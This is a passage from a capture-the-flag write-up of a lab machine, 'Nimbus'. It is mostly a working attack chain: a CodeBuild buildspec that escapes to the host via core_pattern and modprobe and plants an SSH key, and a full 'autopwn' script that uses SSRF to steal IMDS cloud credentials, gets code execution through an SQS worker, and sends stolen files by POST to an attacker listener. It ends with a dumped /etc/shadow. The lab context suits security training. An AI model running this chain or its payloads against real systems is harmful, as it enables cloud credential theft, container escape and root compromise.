                    "value": "() { echo \"uid=0(root) gid=0(root) groups=0(root)\"; }",
                    "type": "PLAINTEXT"
                }
            ],
            "privilegedMode": true
        },
        "serviceRole": "arn:aws:iam::000000000000:role/codebuild-role",
        "timeoutInMinutes": 60,
        "queuedTimeoutInMinutes": 480,
        "created": "2026-06-22T09:24:35.098000+00:00",
        "lastModified": "2026-06-22T09:24:35.098000+00:00",
        "projectVisibility": "PRIVATE"
    }
}
worker@83aabbae38b9:/tmp$ aws codebuild start-build --project-name nimbus-ssh \
  --endpoint-url http://floci:4566 --region us-east-1

Ouutput:

{
    "build": {
        "id": "nimbus-ssh:1",
        "arn": "arn:aws:codebuild:us-east-1:847219365028:build/nimbus-ssh:1",
        "buildNumber": 1,
        "startTime": "2026-06-22T09:28:58.062000+00:00",
        "currentPhase": "DOWNLOAD_SOURCE",
        "buildStatus": "IN_PROGRESS",
        "projectName": "nimbus-ssh",
        "phases": [
            {
                "phaseType": "SUBMITTED",
                "phaseStatus": "SUCCEEDED",
                "startTime": "2026-06-22T09:28:58.075000+00:00",
                "endTime": "2026-06-22T09:28:58.075000+00:00",
                "durationInSeconds": 0
            },
            {
                "phaseType": "QUEUED",
                "phaseStatus": "SUCCEEDED",
                "startTime": "2026-06-22T09:28:58.075000+00:00",
                "endTime": "2026-06-22T09:28:58.075000+00:00",
                "durationInSeconds": 0
            },
            {
                "phaseType": "PROVISIONING",
                "phaseStatus": "SUCCEEDED",
                "startTime": "2026-06-22T09:28:58.075000+00:00",
                "endTime": "2026-06-22T09:28:58.084000+00:00",
                "durationInSeconds": 0
            },
            {
                "phaseType": "DOWNLOAD_SOURCE",
                "phaseStatus": "IN_PROGRESS",
                "startTime": "2026-06-22T09:28:58.084000+00:00"
            }
        ],
        "source": {
            "type": "NO_SOURCE",
            "buildspec": "version: 0.2\nphases:\n  build:\n    commands:\n      - |\n        cat > /tmp/payload.sh << 'PAYLOAD'\n        #!/bin/sh\n        mkdir -p /root/.ssh\n        echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARSmphVYop4zIJb3E3uRsBvQG7ZzXF+XlqhpvDj0IG5' >> /root/.ssh/authorized_keys\n        chmod 700 /root/.ssh\n        chmod 600 /root/.ssh/authorized_keys\n        PAYLOAD\n      - chmod +x /tmp/payload.sh\n      - |\n        upper=$(awk '/overlay/{match($0,/upperdir=([^,]+)/,a);if(a[1])print a[1]}' /proc/mounts | head -1)\n        echo \"$upper/tmp/payload.sh\" > /proc/sys/kernel/modprobe\n      - printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x; true\n"
        },
        "artifacts": {},
        "environment": {
            "type": "LINUX_CONTAINER",
            "image": "floci/floci:latest",
            "computeType": "BUILD_GENERAL1_SMALL",
            "environmentVariables": [
                {
                    "name": "BASH_FUNC_id%%",
                    "value": "() { echo \"uid=0(root) gid=0(root) groups=0(root)\"; }",
                    "type": "PLAINTEXT"
                }
            ],
            "privilegedMode": true
        },
        "timeoutInMinutes": 60,
        "queuedTimeoutInMinutes": 480,
        "buildComplete": false,
        "initiator": "user"
    }
}

Because the payload ran on the host, the planted key authenticates directly over SSH:

$ ssh -i id_root root@nimbus.htb
root@nimbus:~# cat /root/root.txt
REDACTED

Extra

Full-Chain Autopwn

The everything-in-one script automates the full chain with no interactive shell at all: it SSRFs into IMDS with an octal-encoded IP (0251.0376.0251.0376 = 169.254.169.254), steals the nimbus-web-role STS credentials, builds a job whose Python payload both exfiltrates user.txt and launches the CodeBuild project with a core_pattern escape, and posts both flags back to a Base64 HTTP listener (/user and /root endpoints).

$ python3 autopwn.py <ATTACKER MACHHINE IP>
**************************************************************
  HTB Nimbus — full-chain PoC
**************************************************************
  LHOST   : <ATTACKER MACHHINE IP>:4321
  VHOST  : 10.129.xxx.xxx  (nimbus.htb)
  Chain   : SSRF -> IMDS -> SQS -> CodeBuild(privileged -> core_pattern)
  
[*] Callback listener listening on :4321

[1] SSRF → IMDS  (octal IP bypass: 0251.0376.0251.0376 = 169.254.169.254)
    AccessKeyId : ASIAQX4PG7L2K9M3N5R8
    Expiration  : 2026-06-22T10:40:12Z

[2] Publishing SQS job (worker RCE -> CodeBuild -> host escape)

[*] Waiting up to 90s for root callback ...

**************************************************************
[+] user.txt = REDACTED
[+] root.txt = REDACTED
**************************************************************

Python source code:

#!/usr/bin/env python3
"""Full-chain PoC for HTB Nimbus: captures user.txt and root.txt in one run.

Attack chain, step by step:

  1. SSRF    The job submitter fetches attacker-supplied URLs server-side;
             its "file must end in .yaml" check is bypassed by appending a
             query string (?x=.yaml) after the extension.
  2. IMDS    The instance metadata service is reached through IP-to-decimal
             encoding (169.254.169.254 -> 2852039166) and the temporary STS
             credentials of the attached role (nimbus-web-role) are stolen.
  3. SQS     The web role may publish to the nimbus-jobs queue; worker.py
             executes whatever Python sits in a message's "script" field.
  4. Escape  Floci (the LocalStack-compatible emulator) performs no IAM
             policy enforcement, so the payload creates a CodeBuild project
             with privilegedMode=true and hijacks
             /proc/sys/kernel/core_pattern to run code as root on the host.

Both flags are base64-encoded and POSTed back to this script's callback
listener (/user and /root endpoints), so no interactive shell is needed.

Usage:
    python3 autopwn.py 10.10.xx.xx                       # attacker IP
    python3 autopwn.py 10.10.16.xx -t 10.129.xxx.xxx -p 4321 --timeout 120
"""

import argparse
import base64
import html
import json
import re
import sys
import textwrap
import threading
import urllib.parse
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer

import boto3
import yaml

# ─── defaults ────────────────────────────────────────────────────────────────

DEFAULT_PORT    = 4321   # callback listener port
DEFAULT_TIMEOUT = 90     # seconds to wait for the root callback

VHOST     = "nimbus.htb"                 # public portal
SQS_URL   = "http://aws.nimbus.htb"      # emulated AWS endpoint
QUEUE_URL = "http://aws.nimbus.htb/847219365028/nimbus-jobs"

# IMDS with the IP written in decimal form; the ?x=.yaml suffix rides past
# the portal's naive "must end in .yaml" extension check.
IMDS_ROLE_URL = (
    "http://2852039166/latest/meta-data/iam/security-credentials/"
    "nimbus-web-role?x=.yaml"
)

CODEBUILD_PROJECT = "nimbus-poc"
FLOCI_ENDPOINT    = "http://floci:4566"


def is_plausible_flag(value: str) -> bool:
    """HTB flags are 32 hex chars; anything else (e.g. 'NOTFOUND') is noise."""
    return bool(re.fullmatch(r"[0-9a-fA-F]{32}", value or ""))


# ─── step 0: callback listener ───────────────────────────────────────────────

class FlagReceiver:
    """Tiny HTTP server that collects flag callbacks from the target.

    Both flags travel as POST bodies of the form "flag=<base64>". The first
    plausible value for each endpoint wins; later junk is ignored.
    """

    def __init__(self, port: int):
        self.user_flag = None
        self.root_flag = None
        self.got_root = threading.Event()

        receiver = self

        class Handler(BaseHTTPRequestHandler):
            def do_POST(self):
                length = int(self.headers.get("Content-Length", 0))
                params = dict(urllib.parse.parse_qsl(
                    self.rfile.read(length).decode(errors="replace")))
                try:
                    flag = base64.b64decode(params.get("flag", "")).decode(
                        errors="replace").strip()
                except Exception:
                    flag = ""
                receiver.notify(self.path, flag)
                self.send_response(200)
                self.end_headers()
                self.wfile.write(b"ok")

            def log_message(self, *_):
                pass  # keep the console readable

        self._httpd = HTTPServer(("0.0.0.0", port), Handler)

    def start(self):
        threading.Thread(target=self._httpd.serve_forever, daemon=True).start()

    def wait(self, seconds: float) -> bool:
        """Block until the root flag arrives (or the timeout elapses)."""
        return self.got_root.wait(seconds)

    def notify(self, endpoint: str, flag: str):
        if endpoint == "/user":
            if is_plausible_flag(flag) and not self.user_flag:
                self.user_flag = flag
                print(f"\n[+] user.txt = {flag}")
        elif endpoint == "/root":
            if is_plausible_flag(flag) and not self.root_flag:
                self.root_flag = flag
                print(f"\n[+] root.txt = {flag}")
                self.got_root.set()


# ─── steps 1-2: SSRF -> IMDS credential theft ────────────────────────────────

def ssrf_fetch(vhost: str, url: str, timeout: int = 20) -> str:
    """Ask the portal's job submitter to fetch `url` and return its body.

    The submitter POSTs to /jobs/preview and echoes the raw response of the
    fetched URL back inside an HTML <pre> block.
    """
    data = urllib.parse.urlencode({"url": url}).encode()
    request = urllib.request.Request(f"http://{vhost}/jobs/preview", data=data)
    page = urllib.request.urlopen(request, timeout=timeout).read()
    page = page.decode(errors="replace")
    match = re.search(r"Raw response</h3><pre>(.*?)</pre>", page, re.DOTALL)
    return html.unescape(match.group(1)).strip() if match else ""


def steal_imds_credentials(vhost: str) -> dict:
    """Read the attached role's temporary STS credentials through the SSRF."""
    print("[1] SSRF -> IMDS (decimal-IP bypass: 2852039166 = 169.254.169.254)")
    try:
        creds = json.loads(ssrf_fetch(vhost, IMDS_ROLE_URL))
    except json.JSONDecodeError:
        print("[-] SSRF did not return credentials - is the vhost reachable?")
        sys.exit(1)
    print(f"    AccessKeyId : {creds['AccessKeyId']}")
    print(f"    Expires     : {creds['Expiration']}")
    return creds


# ─── step 3: SQS job message -> worker RCE ───────────────────────────────────

def queue_job(creds: dict, python_code: str) -> None:
    """Publish a Nimbus job whose "script" field runs `python_code`."""
    blob = base64.b64encode(python_code.encode()).decode()
    body = yaml.dump({
        "name": "autopwn",
        "runtime": "python3.11",
        "script": f"import base64;exec(base64.b64decode('{blob}').decode())",
    })
    sqs = boto3.client(
        "sqs",
        region_name="us-east-1",
        endpoint_url=SQS_URL,
        aws_access_key_id=creds["AccessKeyId"],
        aws_secret_access_key=creds["SecretAccessKey"],
        aws_session_token=creds.get("Token", ""),
    )
    try:
        reply = sqs.send_message(QueueUrl=QUEUE_URL, MessageBody=body)
    except Exception as exc:
        print(f"[-] Could not publish to the queue: {exc}")
        sys.exit(1)
    print(f"    MessageId   : {reply['MessageId']}")


# ─── step 4: privileged CodeBuild project -> host escape ─────────────────────

def codebuild_buildspec(lhost: str, port: int) -> str:
    """Buildspec executed inside the privileged CodeBuild container.

    It plants a payload in the overlayfs upperdir (which physically lives on
    the host), points /proc/sys/kernel/core_pattern at it and crashes a
    process, so the *host kernel* executes the payload as root. The root
    flag is then POSTed back to our listener.
    """
    callback = f"http://{lhost}:{port}/root"
    return f"""version: 0.2
phases:
  build:
    commands:
      - set +e
      - UDIR=$(sed -n 's/.*upperdir=\\([^,]*\\).*/\\1/p' /proc/self/mountinfo | head -1)
      - printf '#!/bin/sh\\ncat /root/root.txt > %s/rootflag.txt\\nchmod 777 %s/rootflag.txt\\n' "$UDIR" "$UDIR" > /exploit.sh
      - chmod +x /exploit.sh
      - echo "|$UDIR/exploit.sh" > /proc/sys/kernel/core_pattern
      - ulimit -c unlimited
      - bash -c 'kill -11 $$' || true
      - sleep 4
      - curl -sf -X POST {callback} -d "flag=$(cat /rootflag.txt 2>/dev/null || echo NOTFOUND)" --max-time 10 || true
"""


def worker_payload(lhost: str, port: int) -> str:
    """Step 4 payload: the Python code that the worker itself will execute.

    1. Opportunistically grabs user.txt and POSTs it back.
    2. Uses the emulator's missing IAM enforcement (plain "test"/"test"
       keys) to create a CodeBuild project with privilegedMode=true and
       start a build whose buildspec escapes to the host via core_pattern.
    """
    user_url = f"http://{lhost}:{port}/user"
    buildspec = codebuild_buildspec(lhost, port)
    return textwrap.dedent(f"""\
        import base64, os, subprocess, urllib.request

        # --- opportunistic user.txt exfiltration ---
        try:
            result = subprocess.run(
                ["find", "/", "-maxdepth", "5", "-name", "user.txt"],
                capture_output=True, timeout=10, text=True)
            path = (result.stdout.strip().splitlines() or [""])[0]
            if path and os.path.isfile(path):
                flag = base64.b64encode(open(path, "rb").read()).decode()
                urllib.request.urlopen({user_url!r},
                    data=("flag=" + flag).encode(), timeout=5)
        except Exception:
            pass

        # --- privileged CodeBuild build -> host escape via core_pattern ---
        import boto3

        cb = boto3.client(
            "codebuild",
            region_name="us-east-1",
            endpoint_url={FLOCI_ENDPOINT!r},
            aws_access_key_id="test",      # emulator ignores real IAM, so
            aws_secret_access_key="test",  # any key works
        )

        try:  # tolerate reruns: delete a project left over from a previous run
            cb.delete_project(name={CODEBUILD_PROJECT!r})
        except Exception:
            pass

        cb.create_project(
            name={CODEBUILD_PROJECT!r},
            source={{"type": "NO_SOURCE"}},
            artifacts={{"type": "NO_ARTIFACTS"}},
            environment={{
                "type": "LINUX_CONTAINER",
                "computeType": "BUILD_GENERAL1_SMALL",
                "image": "floci/floci:latest",
                "privilegedMode": True,    # the critical flag
            }},
            serviceRole="arn:aws:iam::000000000000:role/codebuild-role")

        buildspec = {buildspec!r}
        cb.start_build(projectName={CODEBUILD_PROJECT!r},
                       buildspecOverride=buildspec)
        """)


# ─── orchestration ───────────────────────────────────────────────────────────

def parse_args():
    parser = argparse.ArgumentParser(
        description="HTB Nimbus - full-chain PoC "
                    "(SSRF -> IMDS -> SQS -> CodeBuild escape)")
    parser.add_argument("lhost",
                        help="attacker IP reachable from the target")
    parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT,
                        help=f"callback listener port (default: {DEFAULT_PORT})")
    parser.add_argument("-t", "--target", default=VHOST,
                        help=f"target vhost (default: {VHOST})")
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
                        help=f"seconds to wait for the root callback "
                             f"(default: {DEFAULT_TIMEOUT})")
    return parser.parse_args()


def main():
    args = parse_args()

    print("=" * 62)
    print("  HTB Nimbus - full-chain PoC")
    print("=" * 62)
    print(f"  LHOST   : {args.lhost}:{args.port}")
    print(f"  VHOST   : {args.target}")
    print(f"  Chain   : SSRF -> IMDS -> SQS -> CodeBuild(privileged) "
          f"-> core_pattern")
    print()

    receiver = FlagReceiver(args.port)
    receiver.start()
    print(f"[*] Callback listener listening on :{args.port}")

    creds = steal_imds_credentials(args.target)
    print("\n[2] Publishing SQS job (worker RCE -> CodeBuild -> host escape)")
    queue_job(creds, worker_payload(args.lhost, args.port))

    print(f"\n[*] Waiting up to {args.timeout}s for the root callback ...")
    receiver.wait(args.timeout)

    print()
    print("=" * 62)
    print(f"  user.txt : {receiver.user_flag or 'not captured'}")
    print(f"  root.txt : {receiver.root_flag or 'not captured'}")
    print("=" * 62)

    if not receiver.root_flag:
        print("[-] No root callback received. Check that:")
        print("    - LHOST is reachable from the target")
        print("    - the worker is still polling the queue (it may have crashed)")
        sys.exit(1)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Aborted.")

Password Hashes

After root access, /etc/shadow confirms there is no shortcut via password cracking: the marcus account and the root hash are strong $y$ (yescrypt) values.

root@nimbus:~# cat /etc/shadow
root:$y$j9T$hK.cno8dFGdd60vUOyP7K0$S8C5csHNLBqmbeD/D.TzA33Vp6PpjchrIYAV/r.tlz8:20592:0:99999:7:::
daemon:*:20494:0:99999:7:::
bin:*:20494:0:99999:7:::
sys:*:20494:0:99999:7:::
sync:*:20494:0:99999:7:::
games:*:20494:0:99999:7:::
man:*:20494:0:99999:7:::
lp:*:20494:0:99999:7:::
mail:*:20494:0:99999:7:::
news:*:20494:0:99999:7:::
uucp:*:20494:0:99999:7:::
proxy:*:20494:0:99999:7:::
www-data:*:20494:0:99999:7:::
backup:*:20494:0:99999:7:::
list:*:20494:0:99999:7:::
irc:*:20494:0:99999:7:::
_apt:*:20494:0:99999:7:::
nobody:*:20494:0:99999:7:::
systemd-network:!*:20494::::::
systemd-timesync:!*:20494::::::
messagebus:!:20494::::::
systemd-resolve:!*:20494::::::
pollinate:!:20494::::::
polkitd:!*:20494::::::
syslog:!:20494::::::
uuidd:!:20494::::::
tcpdump:!:20494::::::
tss:!:20494::::::
landscape:!:20494::::::
fwupd-refresh:!*:20494::::::
usbmux:!:20591::::::
marcus:$y$j9T$vDkD/WmOyDI2V4IMxBWFE.$VslnOelhoZhJJpuX6TzpSGnyq6dHwYTB.SBuYzxOTd4:20592:0:99999:7:::
sshd:!:20591::::::
dnsmasq:!:20591::::::
_laurel:!:20594::::::
dhcpcd:!:20621::::::